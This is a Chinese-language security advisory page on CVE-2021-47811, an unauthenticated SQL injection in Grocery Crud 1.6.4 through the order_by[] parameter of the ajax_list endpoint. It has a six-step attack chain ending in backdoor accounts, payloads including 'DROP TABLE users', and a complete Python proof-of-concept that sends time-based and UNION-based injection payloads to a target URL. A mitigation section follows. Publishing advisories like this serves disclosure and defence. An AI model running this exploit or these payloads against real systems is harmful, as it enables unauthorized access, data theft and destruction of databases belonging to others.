IPBUF安全漏洞报告
English
CVE-2021-47811 CVSS 9.1 严重

CVE-2021-47811: Grocery Crud 1.6.4 order_by参数SQL注入漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47811
漏洞类型
SQL注入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grocery Crud 1.6.4

相关标签

SQL注入Grocery CrudCVE-2021-47811Web安全PHPajax_listorder_by参数数据库注入无需认证CVSS 9.1

漏洞概述

Grocery Crud是一个广泛使用的开源PHP库,用于快速生成CRUD(创建、读取、更新、删除)操作界面。该库为开发者提供了简洁的API来构建数据库管理后台,无需编写大量重复性代码。然而,Grocery Crud 1.6.4版本中存在一个严重的SQL注入漏洞,攻击者可以利用该漏洞无需任何认证即可对数据库进行未授权访问。该漏洞位于处理排序功能的order_by参数中,攻击者通过构造恶意的POST请求到ajax_list端点,可以在order_by[]参数中注入任意SQL代码。由于该参数直接参与到SQL查询构建过程中且未经过充分的输入过滤和参数化处理,导致攻击者可以操纵数据库查询逻辑。此漏洞的CVSS评分高达9.1,属于严重级别,攻击成功后可导致敏感数据泄露、数据库内容篡改,甚至在某些配置下可能实现远程代码执行。鉴于Grocery Crud在全球范围内被大量Web应用使用,该漏洞可能影响数千个依赖该库构建后台管理系统的应用。

技术细节

漏洞根源在于Grocery Crud的ajax_list端点对order_by参数的处理方式。当用户发起POST请求到ajax_list端点时,程序会接收order_by[]数组参数并直接将其值拼接到SQL查询的ORDER BY子句中。具体来说,攻击者可以在POST请求中构造类似order_by[]=id; DROP TABLE users--的恶意载荷。由于该参数未经过任何输入验证或SQL转义处理,恶意SQL代码会被直接执行。攻击者可以利用UNION SELECT语句提取数据库中的敏感信息,如用户凭证、管理员账号等;也可以使用INSERT/UPDATE语句修改数据库内容;甚至在特定数据库配置下可以通过 INTO OUTFILE 或 xp_cmdshell 等方式实现系统级攻击。漏洞的利用不需要任何认证,因为ajax_list端点在设计时允许匿名访问。攻击者只需构造一个带有恶意order_by参数的HTTP POST请求即可触发漏洞,无需任何前置条件或特殊权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站是否使用Grocery Crud框架,通常通过查看页面源码中的grocery_crud.js文件或分析HTTP响应头
STEP 2
步骤2: 探测漏洞端点
访问/ajax_list端点确认其存在且可访问,验证order_by参数是否被接受
STEP 3
步骤3: 构造恶意请求
攻击者构造包含恶意SQL代码的POST请求,在order_by[]参数中注入UNION SELECT或时间盲注载荷
STEP 4
步骤4: 执行SQL注入攻击
发送恶意请求到ajax_list端点,服务器将注入的SQL代码拼接到查询中并执行
STEP 5
步骤5: 数据提取或篡改
根据注入结果提取敏感数据库信息(如用户表、密码等)或执行数据修改操作
STEP 6
步骤6: 持久化控制
利用获取的数据库权限创建后门账户或进一步利用数据库功能实现系统级攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47811 PoC - Grocery Crud SQL Injection in order_by parameter # Target: Grocery Crud 1.6.4 # Endpoint: ajax_list def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2021-47811 This exploits the order_by[] parameter in the ajax_list endpoint """ # Target endpoint endpoint = f"{target_url.rstrip('/')}/ajax_list" # Malicious payload to extract database version # Using time-based blind SQL injection for safe exploitation payload = "1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)--" # Construct POST data post_data = { 'order_by[]': payload, 'page': 1, 'per_page': 10 } print(f"[*] Target: {endpoint}") print(f"[*] Payload: {payload}") try: # Send malicious request response = requests.post(endpoint, data=post_data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability Confirmed - SQL Injection Successful") return True else: print("[-] Target may not be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(target_url): """ Extract database information using UNION-based injection """ endpoint = f"{target_url.rstrip('/')}/ajax_list" # UNION-based injection to extract database name union_payload = "1 UNION SELECT database(),2,3,4,5,6,7,8,9,10--" post_data = { 'order_by[]': union_payload, 'page': 1, 'per_page': 10 } print(f"[*] Extracting database information...") try: response = requests.post(endpoint, data=post_data, timeout=10) print(f"[+] Response received") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://victim.com/grocery-crud") sys.exit(1) target = sys.argv[1] exploit_sqli(target)

影响范围

Grocery Crud 1.6.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或限制ajax_list端点的公开访问,通过IP白名单或认证机制保护该端点;2)在Web服务器层面配置URL过滤规则,拒绝包含SQL注入特征字符(如单引号、分号、UNION等)的请求;3)实施数据库账户最小权限原则,确保应用程序数据库账户不具备DROP、DELETE等高危操作权限;4)启用数据库查询日志监控,及时发现异常SQL执行行为。建议尽快完成版本升级以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表